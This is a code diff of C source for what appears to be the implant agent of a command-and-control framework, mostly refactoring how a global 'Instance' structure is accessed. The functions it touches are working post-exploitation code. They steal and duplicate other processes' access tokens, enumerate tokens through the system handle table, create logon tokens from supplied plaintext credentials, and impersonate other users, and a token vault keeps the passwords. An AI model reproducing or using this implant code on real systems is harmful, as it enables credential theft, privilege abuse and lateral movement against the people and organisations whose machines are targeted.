UserDomain->Buffer = NtHeapAlloc( UserDomain->Length );
|
||||
UserDomain->Buffer = MmHeapAlloc( UserDomain->Length );
|
||||
|
||||
Domain = UserDomain->Buffer;
|
||||
User = ( UserDomain->Buffer + ( DomnLen * sizeof( WCHAR ) ) );
|
||||
|
||||
/* setup arguments */
|
||||
if ( Flags == TOKEN_OWNER_FLAG_USER ) {
|
||||
Domain = NtHeapAlloc( DomnLen * sizeof( WCHAR ) );
|
||||
Domain = MmHeapAlloc( DomnLen * sizeof( WCHAR ) );
|
||||
User = UserDomain->Buffer;
|
||||
} else if ( Flags == TOKEN_OWNER_FLAG_DOMAIN ) {
|
||||
User = NtHeapAlloc( UserLen * sizeof( WCHAR ) );
|
||||
User = MmHeapAlloc( UserLen * sizeof( WCHAR ) );
|
||||
}
|
||||
|
||||
/* now lets try to get the owner */
|
||||
if ( ! Instance.Win32.LookupAccountSidW( NULL, UserInfo->User.Sid, User, &UserLen, Domain, &DomnLen, &SidType ) ) {
|
||||
if ( ! Instance->Win32.LookupAccountSidW( NULL, UserInfo->User.Sid, User, &UserLen, Domain, &DomnLen, &SidType ) ) {
|
||||
PRINTF( "LookupAccountSidW Error => %d\n", NtGetLastError() );
|
||||
goto LEAVE;
|
||||
}
|
||||
@@ -209,7 +209,7 @@ BOOL TokenSetPrivilege(
|
||||
NTSTATUS NtStatus = STATUS_SUCCESS;
|
||||
HANDLE hToken = NULL;
|
||||
|
||||
if ( ! Instance.Win32.LookupPrivilegeValueA( NULL, Privilege, &TokenLUID ) ) {
|
||||
if ( ! Instance->Win32.LookupPrivilegeValueA( NULL, Privilege, &TokenLUID ) ) {
|
||||
PRINTF( "[-] LookupPrivilegeValue error: %u\n", NtGetLastError() );
|
||||
return FALSE;
|
||||
}
|
||||
@@ -224,12 +224,12 @@ BOOL TokenSetPrivilege(
|
||||
}
|
||||
|
||||
if ( NT_SUCCESS( NtStatus = SysNtOpenProcessToken( NtCurrentProcess( ), TOKEN_ALL_ACCESS, &hToken ) ) ) {
|
||||
if ( ! Instance.Win32.AdjustTokenPrivileges( hToken, FALSE, &TokenPrivileges, 0, NULL, NULL ) ) {
|
||||
if ( ! Instance->Win32.AdjustTokenPrivileges( hToken, FALSE, &TokenPrivileges, 0, NULL, NULL ) ) {
|
||||
PRINTF( "[-] AdjustTokenPrivileges error: %u\n", NtGetLastError() );
|
||||
return FALSE;
|
||||
}
|
||||
} else {
|
||||
PRINTF( "NtOpenProcessToken: Failed [%d]", Instance.Win32.RtlNtStatusToDosError( NtStatus ) )
|
||||
PRINTF( "NtOpenProcessToken: Failed [%d]", Instance->Win32.RtlNtStatusToDosError( NtStatus ) )
|
||||
PACKAGE_ERROR_NTSTATUS( NtStatus )
|
||||
return FALSE;
|
||||
}
|
||||
@@ -333,7 +333,7 @@ DWORD TokenAdd(
|
||||
PTOKEN_LIST_DATA TokenEntry = NULL;
|
||||
DWORD TokenIndex = 0;
|
||||
|
||||
TokenEntry = Instance.Win32.LocalAlloc( LPTR, sizeof( TOKEN_LIST_DATA ) );
|
||||
TokenEntry = Instance->Win32.LocalAlloc( LPTR, sizeof( TOKEN_LIST_DATA ) );
|
||||
TokenEntry->Handle = hToken;
|
||||
TokenEntry->DomainUser = DomainUser;
|
||||
TokenEntry->dwProcessID = dwProcessID;
|
||||
@@ -343,12 +343,12 @@ DWORD TokenAdd(
|
||||
TokenEntry->lpPassword = Password;
|
||||
TokenEntry->NextToken = NULL;
|
||||
|
||||
if ( Instance.Tokens.Vault == NULL ) {
|
||||
Instance.Tokens.Vault = TokenEntry;
|
||||
if ( Instance->Tokens.Vault == NULL ) {
|
||||
Instance->Tokens.Vault = TokenEntry;
|
||||
return TokenIndex;
|
||||
}
|
||||
|
||||
TokenList = Instance.Tokens.Vault;
|
||||
TokenList = Instance->Tokens.Vault;
|
||||
|
||||
/* add TokenEntry to Token linked list */
|
||||
while ( TokenList->NextToken != NULL ) {
|
||||
@@ -397,8 +397,8 @@ BOOL SysDuplicateTokenEx(
|
||||
DuplicateTokenHandle);
|
||||
if ( ! NT_SUCCESS( NtStatus ) )
|
||||
{
|
||||
PRINTF( "NtDuplicateToken: Failed:[%08x : %ld]\n", NtStatus, Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
PRINTF( "NtDuplicateToken: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
@@ -437,7 +437,7 @@ HANDLE TokenSteal(
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINTF( "NtDuplicateObject: Failed:[%08x : %ld]\n", NtStatus, Instance.Win32.RtlNtStatusToDosError( NtStatus ) )
|
||||
PRINTF( "NtDuplicateObject: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) )
|
||||
PACKAGE_ERROR_NTSTATUS( NtStatus )
|
||||
}
|
||||
}
|
||||
@@ -453,7 +453,7 @@ HANDLE TokenSteal(
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINTF( "NtOpenProcessToken: Failed:[%08x : %ld]\n", NtStatus, Instance.Win32.RtlNtStatusToDosError( NtStatus ) )
|
||||
PRINTF( "NtOpenProcessToken: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) )
|
||||
PACKAGE_ERROR_NTSTATUS( NtStatus )
|
||||
}
|
||||
}
|
||||
@@ -479,57 +479,57 @@ BOOL TokenRemove( DWORD TokenID )
|
||||
PTOKEN_LIST_DATA TokenItem = NULL;
|
||||
|
||||
TokenItem = TokenGet( TokenID );
|
||||
TokenList = Instance.Tokens.Vault;
|
||||
TokenList = Instance->Tokens.Vault;
|
||||
|
||||
if ( ( ! TokenList ) || ( ! TokenItem ) )
|
||||
return FALSE;
|
||||
|
||||
if ( Instance.Tokens.Vault == TokenItem )
|
||||
if ( Instance->Tokens.Vault == TokenItem )
|
||||
{
|
||||
PUTS( "Its first item" )
|
||||
TokenItem = Instance.Tokens.Vault->NextToken;
|
||||
TokenItem = Instance->Tokens.Vault->NextToken;
|
||||
|
||||
if ( Instance.Tokens.Impersonate && Instance.Tokens.Token->Handle == Instance.Tokens.Vault->Handle )
|
||||
if ( Instance->Tokens.Impersonate && Instance->Tokens.Token->Handle == Instance->Tokens.Vault->Handle )
|
||||
TokenImpersonate( FALSE );
|
||||
|
||||
if ( Instance.Tokens.Vault->Handle )
|
||||
if ( Instance->Tokens.Vault->Handle )
|
||||
{
|
||||
SysNtClose( Instance.Tokens.Vault->Handle );
|
||||
Instance.Tokens.Vault->Handle = NULL;
|
||||
SysNtClose( Instance->Tokens.Vault->Handle );
|
||||
Instance->Tokens.Vault->Handle = NULL;
|
||||
}
|
||||
|
||||
if ( Instance.Tokens.Vault->DomainUser )
|
||||
if ( Instance->Tokens.Vault->DomainUser )
|
||||
{
|
||||
MemSet( Instance.Tokens.Vault->DomainUser, 0, StringLengthW( Instance.Tokens.Vault->DomainUser ) * sizeof( WCHAR ) );
|
||||
Instance.Win32.LocalFree( Instance.Tokens.Vault->DomainUser );
|
||||
Instance.Tokens.Vault->DomainUser = NULL;
|
||||
MemSet( Instance->Tokens.Vault->DomainUser, 0, StringLengthW( Instance->Tokens.Vault->DomainUser ) * sizeof( WCHAR ) );
|
||||
Instance->Win32.LocalFree( Instance->Tokens.Vault->DomainUser );
|
||||
Instance->Tokens.Vault->DomainUser = NULL;
|
||||
}
|
||||
|
||||
if ( Instance.Tokens.Vault->lpUser )
|
||||
if ( Instance->Tokens.Vault->lpUser )
|
||||
{
|
||||
MemSet( Instance.Tokens.Vault->lpUser, 0, StringLengthW( Instance.Tokens.Vault->lpUser ) * sizeof( WCHAR ) );
|
||||
Instance.Win32.LocalFree( Instance.Tokens.Vault->lpUser );
|
||||
Instance.Tokens.Vault->lpUser = NULL;
|
||||
MemSet( Instance->Tokens.Vault->lpUser, 0, StringLengthW( Instance->Tokens.Vault->lpUser ) * sizeof( WCHAR ) );
|
||||
Instance->Win32.LocalFree( Instance->Tokens.Vault->lpUser );
|
||||
Instance->Tokens.Vault->lpUser = NULL;
|
||||
}
|
||||
|
||||
if ( Instance.Tokens.Vault->lpDomain )
|
||||
if ( Instance->Tokens.Vault->lpDomain )
|
||||
{
|
||||
MemSet( Instance.Tokens.Vault->lpDomain, 0, StringLengthW( Instance.Tokens.Vault->lpUser ) * sizeof( WCHAR ) );
|
||||
Instance.Win32.LocalFree( Instance.Tokens.Vault->lpDomain );
|
||||
Instance.Tokens.Vault->lpDomain = NULL;
|
||||
MemSet( Instance->Tokens.Vault->lpDomain, 0, StringLengthW( Instance->Tokens.Vault->lpDomain ) * sizeof( WCHAR ) );
|
||||
Instance->Win32.LocalFree( Instance->Tokens.Vault->lpDomain );
|
||||
Instance->Tokens.Vault->lpDomain = NULL;
|
||||
}
|
||||
|
||||
if ( Instance.Tokens.Vault->lpPassword )
|
||||
if ( Instance->Tokens.Vault->lpPassword )
|
||||
{
|
||||
MemSet( Instance.Tokens.Vault->lpPassword, 0, StringLengthW( Instance.Tokens.Vault->lpPassword ) * sizeof( WCHAR ) );
|
||||
Instance.Win32.LocalFree( Instance.Tokens.Vault->lpPassword );
|
||||
Instance.Tokens.Vault->lpPassword = NULL;
|
||||
MemSet( Instance->Tokens.Vault->lpPassword, 0, StringLengthW( Instance->Tokens.Vault->lpPassword ) * sizeof( WCHAR ) );
|
||||
Instance->Win32.LocalFree( Instance->Tokens.Vault->lpPassword );
|
||||
Instance->Tokens.Vault->lpPassword = NULL;
|
||||
}
|
||||
|
||||
MemSet( Instance.Tokens.Vault, 0, sizeof( TOKEN_LIST_DATA ) );
|
||||
Instance.Win32.LocalFree( Instance.Tokens.Vault );
|
||||
MemSet( Instance->Tokens.Vault, 0, sizeof( TOKEN_LIST_DATA ) );
|
||||
Instance->Win32.LocalFree( Instance->Tokens.Vault );
|
||||
|
||||
Instance.Tokens.Vault = TokenItem;
|
||||
Instance->Tokens.Vault = TokenItem;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -544,7 +544,7 @@ BOOL TokenRemove( DWORD TokenID )
|
||||
|
||||
TokenList->NextToken = TokenItem->NextToken;
|
||||
|
||||
if ( Instance.Tokens.Impersonate && Instance.Tokens.Token->Handle == TokenItem->Handle )
|
||||
if ( Instance->Tokens.Impersonate && Instance->Tokens.Token->Handle == TokenItem->Handle )
|
||||
TokenImpersonate( FALSE );
|
||||
|
||||
if ( TokenItem->Handle )
|
||||
@@ -556,33 +556,33 @@ BOOL TokenRemove( DWORD TokenID )
|
||||
if ( TokenItem->DomainUser )
|
||||
{
|
||||
MemSet( TokenItem->DomainUser, 0, StringLengthW( TokenItem->DomainUser ) * sizeof( WCHAR ) );
|
||||
Instance.Win32.LocalFree( TokenItem->DomainUser );
|
||||
Instance->Win32.LocalFree( TokenItem->DomainUser );
|
||||
TokenItem->DomainUser = NULL;
|
||||
}
|
||||
|
||||
if ( TokenItem->lpUser )
|
||||
{
|
||||
MemSet( TokenItem->lpUser, 0, StringLengthW( TokenItem->lpUser ) * sizeof( WCHAR ) );
|
||||
Instance.Win32.LocalFree( TokenItem->lpUser );
|
||||
Instance->Win32.LocalFree( TokenItem->lpUser );
|
||||
TokenItem->lpUser = NULL;
|
||||
}
|
||||
|
||||
if ( TokenItem->lpDomain )
|
||||
{
|
||||
MemSet( TokenItem->lpDomain, 0, StringLengthW( TokenItem->lpUser ) * sizeof( WCHAR ) );
|
||||
Instance.Win32.LocalFree( TokenItem->lpDomain );
|
||||
MemSet( TokenItem->lpDomain, 0, StringLengthW( TokenItem->lpDomain ) * sizeof( WCHAR ) );
|
||||
Instance->Win32.LocalFree( TokenItem->lpDomain );
|
||||
TokenItem->lpDomain = NULL;
|
||||
}
|
||||
|
||||
if ( TokenItem->lpPassword )
|
||||
{
|
||||
MemSet( TokenItem->lpPassword, 0, StringLengthW( TokenItem->lpPassword ) * sizeof( WCHAR ) );
|
||||
Instance.Win32.LocalFree( TokenItem->lpPassword );
|
||||
Instance->Win32.LocalFree( TokenItem->lpPassword );
|
||||
TokenItem->lpPassword = NULL;
|
||||
}
|
||||
|
||||
MemSet( TokenItem, 0, sizeof( TOKEN_LIST_DATA ) );
|
||||
Instance.Win32.LocalFree( TokenItem );
|
||||
Instance->Win32.LocalFree( TokenItem );
|
||||
TokenItem = NULL;
|
||||
|
||||
return TRUE;
|
||||
@@ -595,11 +595,11 @@ BOOL TokenRemove( DWORD TokenID )
|
||||
} while ( TRUE );
|
||||
}
|
||||
|
||||
HANDLE TokenMake( LPWSTR User, LPWSTR Password, LPWSTR Domain )
|
||||
HANDLE TokenMake( LPWSTR User, LPWSTR Password, LPWSTR Domain, DWORD LogonType )
|
||||
{
|
||||
HANDLE hToken = NULL;
|
||||
|
||||
PRINTF( "TokenMake( %ls, %ls, %ls )\n", User, Password, Domain )
|
||||
PRINTF( "TokenMake( %ls, %ls, %ls, %d )\n", User, Password, Domain, LogonType )
|
||||
|
||||
if ( ! TokenRevSelf() )
|
||||
{
|
||||
@@ -608,7 +608,7 @@ HANDLE TokenMake( LPWSTR User, LPWSTR Password, LPWSTR Domain )
|
||||
// TODO: at this point should I return NULL or just continue ? For now i just continue.
|
||||
}
|
||||
|
||||
if ( ! Instance.Win32.LogonUserW( User, Domain, Password, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, &hToken ) )
|
||||
if ( ! Instance->Win32.LogonUserW( User, Domain, Password, LogonType, LogonType == LOGON32_LOGON_NEW_CREDENTIALS ? LOGON32_PROVIDER_WINNT50 : LOGON32_PROVIDER_DEFAULT, &hToken ) )
|
||||
{
|
||||
PUTS( "LogonUserW: Failed" )
|
||||
PACKAGE_ERROR_WIN32
|
||||
@@ -631,15 +631,15 @@ HANDLE TokenCurrentHandle(
|
||||
{
|
||||
if ( NtStatus != STATUS_NO_TOKEN )
|
||||
{
|
||||
PRINTF( "NtOpenThreadToken: Failed:[%08x : %ld]\n", NtStatus, Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
PRINTF( "NtOpenThreadToken: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if ( ! NT_SUCCESS( NtStatus = SysNtOpenProcessToken( NtCurrentProcess(), TOKEN_QUERY, &Token ) ) )
|
||||
{
|
||||
PRINTF( "NtOpenProcessToken: Failed:[%08x : %ld]\n", NtStatus, Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
PRINTF( "NtOpenProcessToken: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
@@ -664,7 +664,7 @@ BOOL TokenElevated(
|
||||
PTOKEN_LIST_DATA TokenGet(
|
||||
IN DWORD TokenID
|
||||
) {
|
||||
PTOKEN_LIST_DATA TokenList = Instance.Tokens.Vault;
|
||||
PTOKEN_LIST_DATA TokenList = Instance->Tokens.Vault;
|
||||
DWORD TokenIndex = 0;
|
||||
|
||||
for ( TokenIndex = 0; TokenIndex < TokenID && TokenList && TokenList->NextToken; ++TokenIndex ) {
|
||||
@@ -681,7 +681,7 @@ PTOKEN_LIST_DATA TokenGet(
|
||||
VOID TokenClear(
|
||||
VOID
|
||||
) {
|
||||
PTOKEN_LIST_DATA TokenList = Instance.Tokens.Vault;
|
||||
PTOKEN_LIST_DATA TokenList = Instance->Tokens.Vault;
|
||||
DWORD TokenIndex = 0;
|
||||
|
||||
TokenImpersonate( FALSE );
|
||||
@@ -695,35 +695,35 @@ VOID TokenClear(
|
||||
TokenIndex++;
|
||||
} while ( TRUE );
|
||||
|
||||
for ( int i = 0; i < TokenIndex; i++ ) {
|
||||
TokenRemove( 0 );
|
||||
for ( int i = TokenIndex - 1; i >= 0; i-- ) {
|
||||
TokenRemove( i );
|
||||
}
|
||||
|
||||
Instance.Tokens.Impersonate = FALSE;
|
||||
Instance.Tokens.Vault = NULL;
|
||||
Instance.Tokens.Token = NULL;
|
||||
Instance->Tokens.Impersonate = FALSE;
|
||||
Instance->Tokens.Vault = NULL;
|
||||
Instance->Tokens.Token = NULL;
|
||||
}
|
||||
|
||||
BOOL TokenImpersonate(
|
||||
IN BOOL Impersonate
|
||||
) {
|
||||
if ( Impersonate && ! Instance.Tokens.Impersonate && Instance.Tokens.Token )
|
||||
if ( Impersonate && ! Instance->Tokens.Impersonate && Instance->Tokens.Token )
|
||||
{
|
||||
// impersonate the current token.
|
||||
Instance.Tokens.Impersonate = SysImpersonateLoggedOnUser( Instance.Tokens.Token->Handle );
|
||||
return Instance.Tokens.Impersonate;
|
||||
Instance->Tokens.Impersonate = SysImpersonateLoggedOnUser( Instance->Tokens.Token->Handle );
|
||||
return Instance->Tokens.Impersonate;
|
||||
}
|
||||
else if ( ! Impersonate && Instance.Tokens.Impersonate ) {
|
||||
else if ( ! Impersonate && Instance->Tokens.Impersonate ) {
|
||||
{
|
||||
// stop impersonating
|
||||
Instance.Tokens.Impersonate = FALSE;
|
||||
Instance->Tokens.Impersonate = FALSE;
|
||||
return TokenRevSelf();
|
||||
}
|
||||
} else if ( Impersonate && ! Instance.Tokens.Token ) {
|
||||
} else if ( Impersonate && ! Instance->Tokens.Token ) {
|
||||
return TRUE; // there is no token to impersonate in the first place
|
||||
} else if ( Impersonate && Instance.Tokens.Impersonate ) {
|
||||
} else if ( Impersonate && Instance->Tokens.Impersonate ) {
|
||||
return TRUE; // we are already impersonating
|
||||
} else if ( ! Impersonate && ! Instance.Tokens.Impersonate ) {
|
||||
} else if ( ! Impersonate && ! Instance->Tokens.Impersonate ) {
|
||||
return TRUE; // we are already not impersonating
|
||||
}
|
||||
|
||||
@@ -731,9 +731,9 @@ BOOL TokenImpersonate(
|
||||
}
|
||||
|
||||
VOID AddUserToken(
|
||||
IN OUT PUSER_TOKEN_DATA NewToken,
|
||||
IN OUT PUSER_TOKEN_DATA Tokens,
|
||||
IN OUT PDWORD NumTokens
|
||||
_Inout_ PUSER_TOKEN_DATA NewToken,
|
||||
_Inout_ PUSER_TOKEN_DATA Tokens,
|
||||
_Inout_ PDWORD NumTokens
|
||||
) {
|
||||
for ( DWORD i = 0; i < *NumTokens; ++i )
|
||||
{
|
||||
@@ -775,11 +775,11 @@ BOOL IsImpersonationToken( HANDLE token )
|
||||
LPVOID TokenImpersonationInfo = NULL;
|
||||
DWORD returned_tokinfo_length = 0;
|
||||
|
||||
TokenImpersonationInfo = Instance.Win32.LocalAlloc( LPTR, BUF_SIZE );
|
||||
TokenImpersonationInfo = Instance->Win32.LocalAlloc( LPTR, BUF_SIZE );
|
||||
if ( ! TokenImpersonationInfo )
|
||||
return FALSE;
|
||||
|
||||
if ( Instance.Win32.GetTokenInformation( token, TokenImpersonationLevel, TokenImpersonationInfo, BUF_SIZE, &returned_tokinfo_length ) )
|
||||
if ( Instance->Win32.GetTokenInformation( token, TokenImpersonationLevel, TokenImpersonationInfo, BUF_SIZE, &returned_tokinfo_length ) )
|
||||
{
|
||||
if ( *( ( SECURITY_IMPERSONATION_LEVEL* ) TokenImpersonationInfo ) >= SecurityImpersonation )
|
||||
ReturnValue = TRUE;
|
||||
@@ -793,7 +793,7 @@ BOOL IsImpersonationToken( HANDLE token )
|
||||
}
|
||||
|
||||
if ( TokenImpersonationInfo )
|
||||
Instance.Win32.LocalFree( TokenImpersonationInfo );
|
||||
Instance->Win32.LocalFree( TokenImpersonationInfo );
|
||||
|
||||
return ReturnValue;
|
||||
}
|
||||
@@ -809,7 +809,7 @@ BOOL CanTokenBeImpersonated( IN HANDLE hToken )
|
||||
return FALSE;
|
||||
|
||||
// try to open a handle to the current token
|
||||
Success = Instance.Win32.OpenThreadToken( NtCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hImp );
|
||||
Success = Instance->Win32.OpenThreadToken( NtCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hImp );
|
||||
|
||||
TokenRevSelf();
|
||||
|
||||
@@ -833,8 +833,8 @@ VOID ProcessUserToken(
|
||||
IN HANDLE handle,
|
||||
IN BOOL CheckUsername,
|
||||
IN PBUFFER CurrentUser,
|
||||
IN OUT PUSER_TOKEN_DATA Tokens,
|
||||
IN OUT PDWORD NumTokens)
|
||||
_Inout_ PUSER_TOKEN_DATA Tokens,
|
||||
_Inout_ PDWORD NumTokens)
|
||||
{
|
||||
USER_TOKEN_DATA NewToken = { 0 };
|
||||
DWORD TokenType = 0;
|
||||
@@ -885,7 +885,7 @@ BOOL QueryObjectTypesInfo( POBJECT_TYPES_INFORMATION* pObjectTypes, PULONG pObje
|
||||
do
|
||||
{
|
||||
PrevBufferLength = BufferLength;
|
||||
ObjTypeInformation = Instance.Win32.LocalAlloc( LPTR, BufferLength );
|
||||
ObjTypeInformation = Instance->Win32.LocalAlloc( LPTR, BufferLength );
|
||||
|
||||
status = SysNtQueryObject(
|
||||
NULL,
|
||||
@@ -967,10 +967,10 @@ BOOL GetTokenInfo(
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
Instance.Win32.GetTokenInformation( hToken, TokenStatistics, NULL, 0, &returned_tokinfo_length );
|
||||
TokenStatisticsInformation = Instance.Win32.LocalAlloc( LPTR, returned_tokinfo_length );
|
||||
Instance->Win32.GetTokenInformation( hToken, TokenStatistics, NULL, 0, &returned_tokinfo_length );
|
||||
TokenStatisticsInformation = Instance->Win32.LocalAlloc( LPTR, returned_tokinfo_length );
|
||||
|
||||
if ( Instance.Win32.GetTokenInformation( hToken, TokenStatistics, TokenStatisticsInformation, returned_tokinfo_length, &returned_tokinfo_length ) )
|
||||
if ( Instance->Win32.GetTokenInformation( hToken, TokenStatistics, TokenStatisticsInformation, returned_tokinfo_length, &returned_tokinfo_length ) )
|
||||
{
|
||||
// save the token type
|
||||
*pTokenType = TokenStatisticsInformation->TokenType;
|
||||
@@ -978,12 +978,12 @@ BOOL GetTokenInfo(
|
||||
if ( TokenStatisticsInformation->TokenType == TokenPrimary )
|
||||
{
|
||||
// get the token integrity level
|
||||
Instance.Win32.GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbSize );
|
||||
TokenIntegrityInformation = Instance.Win32.LocalAlloc( LPTR, cbSize );
|
||||
Instance->Win32.GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbSize );
|
||||
TokenIntegrityInformation = Instance->Win32.LocalAlloc( LPTR, cbSize );
|
||||
|
||||
if ( Instance.Win32.GetTokenInformation( hToken, TokenIntegrityLevel, TokenIntegrityInformation, cbSize, &cbSize ) )
|
||||
if ( Instance->Win32.GetTokenInformation( hToken, TokenIntegrityLevel, TokenIntegrityInformation, cbSize, &cbSize ) )
|
||||
{
|
||||
*pIntegrity = *Instance.Win32.GetSidSubAuthority(TokenIntegrityInformation->Label.Sid, (DWORD)(UCHAR)(*Instance.Win32.GetSidSubAuthorityCount(TokenIntegrityInformation->Label.Sid) - 1));
|
||||
*pIntegrity = *Instance->Win32.GetSidSubAuthority(TokenIntegrityInformation->Label.Sid, (DWORD)(UCHAR)(*Instance->Win32.GetSidSubAuthorityCount(TokenIntegrityInformation->Label.Sid) - 1));
|
||||
ReturnValue = TRUE;
|
||||
}
|
||||
else
|
||||
@@ -994,10 +994,10 @@ BOOL GetTokenInfo(
|
||||
else if (TokenStatisticsInformation->TokenType == TokenImpersonation)
|
||||
{
|
||||
// get the token impersonation level
|
||||
Instance.Win32.GetTokenInformation( hToken, TokenImpersonationLevel, NULL, 0, &returned_tokimp_length );
|
||||
TokenImpersonationInformation = Instance.Win32.LocalAlloc( LPTR, returned_tokimp_length );
|
||||
Instance->Win32.GetTokenInformation( hToken, TokenImpersonationLevel, NULL, 0, &returned_tokimp_length );
|
||||
TokenImpersonationInformation = Instance->Win32.LocalAlloc( LPTR, returned_tokimp_length );
|
||||
|
||||
if ( Instance.Win32.GetTokenInformation( hToken, TokenImpersonationLevel, TokenImpersonationInformation, returned_tokimp_length, &returned_tokimp_length ) )
|
||||
if ( Instance->Win32.GetTokenInformation( hToken, TokenImpersonationLevel, TokenImpersonationInformation, returned_tokimp_length, &returned_tokimp_length ) )
|
||||
{
|
||||
*pImpersonationLevel = * ( ( SECURITY_IMPERSONATION_LEVEL * ) TokenImpersonationInformation );
|
||||
ReturnValue = TRUE;
|
||||
@@ -1042,7 +1042,7 @@ BOOL GetProcessesFromHandleTable( IN PSYSTEM_HANDLE_INFORMATION handleTableInfor
|
||||
BOOL ret_val = FALSE;
|
||||
PPROCESS_LIST process_list = NULL;
|
||||
|
||||
process_list = Instance.Win32.LocalAlloc( LPTR, sizeof(PROCESS_LIST) );
|
||||
process_list = Instance->Win32.LocalAlloc( LPTR, sizeof(PROCESS_LIST) );
|
||||
|
||||
PSYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo;
|
||||
for (ULONG i = 0; i < handleTableInformation->NumberOfHandles; i++)
|
||||
@@ -1081,7 +1081,7 @@ BOOL GetAllHandles( OUT PSYSTEM_HANDLE_INFORMATION* phandle_table, OUT PULONG ph
|
||||
ULONG prev_buffer_size = buffer_size;
|
||||
PVOID handleTableInformation = NULL;
|
||||
|
||||
handleTableInformation = Instance.Win32.LocalAlloc( LPTR, buffer_size );
|
||||
handleTableInformation = Instance->Win32.LocalAlloc( LPTR, buffer_size );
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
@@ -1096,7 +1096,7 @@ BOOL GetAllHandles( OUT PSYSTEM_HANDLE_INFORMATION* phandle_table, OUT PULONG ph
|
||||
// the buffer was too small, buffer_size now has the new length
|
||||
DATA_FREE( handleTableInformation, prev_buffer_size );
|
||||
prev_buffer_size = buffer_size;
|
||||
handleTableInformation = Instance.Win32.LocalAlloc( LPTR, buffer_size );
|
||||
handleTableInformation = Instance->Win32.LocalAlloc( LPTR, buffer_size );
|
||||
continue;
|
||||
}
|
||||
if ( ! NT_SUCCESS( status ) )
|
||||
@@ -1172,7 +1172,7 @@ BOOL ListTokens( PUSER_TOKEN_DATA* pTokens, PDWORD pNumTokens )
|
||||
goto Cleanup;
|
||||
|
||||
// allocate the USER_TOKEN_DATA table
|
||||
Tokens = Instance.Win32.LocalAlloc( LPTR, BUF_SIZE * sizeof( USER_TOKEN_DATA ) );
|
||||
Tokens = Instance->Win32.LocalAlloc( LPTR, BUF_SIZE * sizeof( USER_TOKEN_DATA ) );
|
||||
if ( ! Tokens )
|
||||
goto Cleanup;
|
||||
|
||||
@@ -1181,7 +1181,7 @@ BOOL ListTokens( PUSER_TOKEN_DATA* pTokens, PDWORD pNumTokens )
|
||||
{
|
||||
ProcessId = ProcessList->ProcessId[i];
|
||||
|
||||
if ( ProcessId == Instance.Session.PID )
|
||||
if ( ProcessId == Instance->Session.PID )
|
||||
continue;
|
||||
if ( ProcessId == 0 )
|
||||
continue;
|
||||
@@ -1297,7 +1297,7 @@ BOOL SysImpersonateLoggedOnUser( HANDLE hToken )
|
||||
&ReturnLength);
|
||||
if ( ! NT_SUCCESS( Status ) )
|
||||
{
|
||||
PRINTF( "NtQueryInformationToken: Failed:[%08x : %ld]\n", Status, Instance.Win32.RtlNtStatusToDosError( Status ) );
|
||||
PRINTF( "NtQueryInformationToken: Failed:[%08x : %ld]\n", Status, Instance->Win32.RtlNtStatusToDosError( Status ) );
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
@@ -1351,7 +1351,7 @@ BOOL SysImpersonateLoggedOnUser( HANDLE hToken )
|
||||
|
||||
if ( ! NT_SUCCESS( Status ) )
|
||||
{
|
||||
PRINTF( "NtSetInformationThread: Failed:[%08x : %ld]\n", Status, Instance.Win32.RtlNtStatusToDosError( Status ) );
|
||||
PRINTF( "NtSetInformationThread: Failed:[%08x : %ld]\n", Status, Instance->Win32.RtlNtStatusToDosError( Status ) );
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
@@ -1369,7 +1369,7 @@ BOOL ImpersonateTokenInStore(
|
||||
}
|
||||
|
||||
/* if we are already impersonating the selected token, do nothing */
|
||||
if ( Instance.Tokens.Impersonate && TokenData->Handle == Instance.Tokens.Token->Handle ) {
|
||||
if ( Instance->Tokens.Impersonate && TokenData->Handle == Instance->Tokens.Token->Handle ) {
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
@@ -1384,13 +1384,13 @@ BOOL ImpersonateTokenInStore(
|
||||
}
|
||||
|
||||
if ( SysImpersonateLoggedOnUser( TokenData->Handle ) ) {
|
||||
Instance.Tokens.Impersonate = TRUE;
|
||||
Instance.Tokens.Token = TokenData;
|
||||
Instance->Tokens.Impersonate = TRUE;
|
||||
Instance->Tokens.Token = TokenData;
|
||||
|
||||
PRINTF( "[+] Successfully impersonated: %ls\n", TokenData->DomainUser );
|
||||
} else {
|
||||
Instance.Tokens.Impersonate = FALSE;
|
||||
Instance.Tokens.Token = NULL;
|
||||
Instance->Tokens.Impersonate = FALSE;
|
||||
Instance->Tokens.Token = NULL;
|
||||
|
||||
PRINTF( "[!] Failed to impersonate token user: %ls\n", TokenData->DomainUser );
|
||||
|
||||
@@ -1,14 +1,14 @@
|
||||
#include <Demon.h>
|
||||
|
||||
